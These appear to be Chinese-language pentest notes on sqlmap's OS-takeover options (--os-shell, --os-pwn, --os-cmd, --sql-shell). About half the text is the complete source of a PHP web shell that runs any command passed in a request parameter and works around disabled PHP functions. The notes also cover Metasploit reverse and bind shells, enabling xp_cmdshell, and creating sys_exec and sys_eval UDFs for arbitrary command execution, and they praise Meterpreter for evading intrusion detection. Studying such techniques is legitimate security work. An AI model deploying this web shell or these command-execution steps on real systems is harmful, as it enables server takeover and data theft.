--os-shell
写了两个马
一个是上传功能的马
一个是通过上传的马进行shell的上传。
(tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来)
Tmpbezal.php
1 <?php
2 $c=$_REQUEST["cmd"];
3 @set_time_limit(0);
4 @ignore_user_abort(1);
5 @ini_set('max_execution_time',0);
6 $z=@ini_get('disable_functions');
7 if(!empty($z))
8 {
9 $z=preg_replace('/[, ]+/',',',$z);
10 $z=explode(',',$z);
11 $z=array_map('trim',$z);}
12 else
13 {
14 $z=array();
15 }
16 $c=$c." 2>&1\n";
17 function f($n)
18 {global $z;
19 return is_callable($n)and!in_array($n,$z);
20 }
21 if(f('system'))
22 {ob_start();
23 system($c);
24 $w=ob_get_contents();
25 ob_end_clean();
26 }elseif(f('proc_open')){
27 $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
28 $w=NULL;
29 while(!feof($t[1])){
30 $w.=fread($t[1],512);
31 }
32 @proc_close($y);
33 }
34 elseif(f('shell_exec')){
35 $w=shell_exec($c);
36 }
37 elseif(f('passthru')){
38 ob_start();
39 passthru($c);
40 $w=ob_get_contents();
41 ob_end_clean();
42 }elseif(f('popen')){
43 $x=popen($c,r);
44 $w=NULL;
45 if(is_resource($x)){
46 while(!feof($x)){
47 $w.=fread($x,512);
48 }
49 }
50 @pclose($x);
51 }elseif(f('exec')){
52 $w=array();
53 exec($c,$w);
54 $w=join(chr(10),$w).chr(10);
55 }else{
56 $w=0;
57 }
58 print "</pre>".$w."</pre>";?>'''
然后就可以在--os-shell下执行命令了
--os-pwn
这个需要知道绝对路径可以反弹shell
上面说我没有提供local path Metasploit 的路径,所以他会自己寻找路径为/urs/bin
此处应该是调用msf中的监听模块且不需使用msfconsole监听
然后他问你通过哪种方式getshell(此处需要数据库权限为dba)
通过内存写入sys_bineval存储过程(该UDF只是分配缓冲区并且创建新的线程执行)
还是通过shellcodeexec放在文件里
两种连接方式
TCP的反向链接反弹shell,
Bind Tcp正向Tcp连接(通常用于不出网机器)
然后返回的地址是shell还是msf监听,如果是msf需要先起一个监听
拓展:
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
来源:Meterpreter命令详解 - 渗透测试中心 - 博客园
然后就可以写东西了
--os-cmd
这个需要sqlserver开启xp_cmdshell并且数据库权限为dba
SQL Server如何启用xp_cmdshell组件 - zock - 博客园
执行whoami
--sql-shell
这个就比上述简单就直接利用数据库的shell功能可以执行一些查询或写一些函数
比如:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。